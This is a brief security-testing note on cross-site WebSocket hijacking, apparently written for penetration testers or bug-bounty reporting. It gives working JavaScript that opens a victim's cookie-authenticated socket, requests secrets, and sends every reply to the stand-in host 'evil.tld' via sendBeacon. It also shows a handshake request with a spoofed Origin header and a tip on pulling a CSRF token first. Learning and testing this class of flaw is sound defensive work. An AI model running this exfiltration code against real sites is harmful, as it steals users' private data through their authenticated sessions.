WebSocket cross-site hijacking

If the WS handshake authenticates purely by cookie and does not validate Origin, an attacker page opens the socket as the victim and issues privileged messages.

const ws = new WebSocket('wss://target/api/ws'); // cookies attached automatically
ws.onopen = () => ws.send(JSON.stringify({action:'getSecrets'}));
ws.onmessage = e => navigator.sendBeacon('https://evil.tld', e.data);

Confirm the missing origin check at the handshake.

GET /api/ws HTTP/1.1
Upgrade: websocket
Origin: https://evil.tld
Cookie: session=VICTIM

Pro note: if a CSRF token is required in the first message but is readable via a same-site GET, fetch it first (if CORS allows) then feed it into the socket. Report the concrete data or action reachable, not just that the handshake lacks an origin check.